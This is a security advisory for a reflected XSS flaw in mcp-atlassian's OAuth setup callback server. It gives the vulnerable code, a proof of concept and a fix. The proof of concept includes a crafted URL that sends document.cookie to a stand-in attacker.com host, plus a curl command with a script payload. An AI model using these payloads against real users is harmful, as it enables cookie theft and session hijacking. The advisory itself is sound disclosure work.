GHSA-g2r2-3j32-j27x MCP Atlassian: Reflected XSS in OAuth Setup Callback Handler

• PyPI mcp-atlassian: < 0.22.0 → fixed in 0.22.0

Summary The OAuth 2.0 setup wizard's local callback HTTP server reflects the `error` query parameter directly into an HTML response without any sanitization or encoding. An attacker can craft a malicious callback URL containing JavaScript in the `error` parameter that executes in the victim's browser when the setup wizard is running. The server binds to all network interfaces (`0.0.0.0`), making it accessible from the local network rather than just localhost. Details The vulnerability exists in the `CallbackHandler` class in `src/mcp_atlassian/utils/oauth_setup.py`. Step 1 -- Attacker-controlled input enters unsanitized: At line 63-66, the `error` query parameter from the URL is read and interpolated into a message string without HTML escaping: ```python src/mcp_atlassian/utils/oauth_setup.py:63-66 if "error" in params: callback_error = params["error"][0] callback_received = True self._send_response(f"Authorization failed: {callback_error}") ``` Step 2 -- Unsanitized input is injected into HTML: At line 124-125 in `_send_response`, the `message` variable (containing the unescaped attacker input) is injected directly into the HTML template via f-string interpolation: ```python src/mcp_atlassian/utils/oauth_setup.py:124-125 {message} ``` Step 3 -- Server listens on all interfaces: At line 167, the callback server binds to all network interfaces, not just localhost: ```python src/mcp_atlassian/utils/oauth_setup.py:167 httpd = socketserver.TCPServer(("", port), handler) ``` This means the XSS is exploitable from any machine that can reach the victim's IP on the callback port (default 8080), not just from the local machine. Step 4 -- No security headers: The response at line 84-86 sets `Content-type: text/html` but does not include `Content-Security-Policy`, `X-Content-Type-Options`, or `X-XSS-Protection` headers: ```python src/mcp_atlassian/utils/oauth_setup.py:84-86 self.send_response(status) self.send_header("Content-type", "text/html") self.end_headers() ``` PoC Prerequisites: The victim must be running the OAuth setup wizard (`mcp-atlassian --oauth-setup` or `run_oauth_setup()`), which starts the callback server. Step 1 -- Craft the malicious URL: ``` http://:8080/callback?error=fetch('https://attacker.com/steal?cookie='+document.cookie) ``` Step 2 -- Deliver the link to the victim: Send the link to the victim (via email, chat, or any channel). When the victim clicks the link while their OAuth setup wizard is running, the JavaScript executes in their browser context. Step 3 -- Verify with a simpler payload: ```bash Start the setup wizard (victim's machine) uv run mcp-atlassian --oauth-setup From attacker's machine (or same network): curl "http://:8080/callback?error=%3Cscript%3Ealert(document.domain)%3C/script%3E" ``` The response HTML will contain: ```html Authorization failed: alert(document.domain) ``` Impact • JavaScript execution in the victim's browser context during the OAuth setup flow. • While the callback server is short-lived (only active during initial setup), the exposure window is meaningful because: 1. The server binds to all interfaces, making it accessible from the local network. 2. The setup wizard waits up to 300 seconds (5 minutes) for the callback (line 174). 3. During this window, any crafted request triggers the XSS. • An attacker on the same network could potentially intercept or manipulate the OAuth authorization code, since the callback also handles `code` and `state` parameters on the same endpoint. Recommended Fix 1. HTML-escape the message before injecting into the template: ```python src/mcp_atlassian/utils/oauth_setup.py import html def _send_response(self, message: str, status: int = 200) -> None: """Send response to the browser.""" self.send_response(status) self.send_header("Content-type", "text/html") self.send_header("X-Content-Type-Options", "nosniff") self.send_header("Content-Security-Policy", "default-src 'none'; style-src 'unsafe-inline'; script-src 'unsafe-inline'") self.end_headers() # Escape user-controlled content before HTML injection safe_message = html.escape(message) html_content = f""" ... {safe_message} ... """ ``` 2. Bind the callback server to localhost only: ```python src/mcp_atlassian/utils/oauth_setup.py:167 Change from: httpd = socketserver.TCPServer(("", port), handler) To: httpd = socketserver.TCPServer(("127.0.0.1", port), handler) ```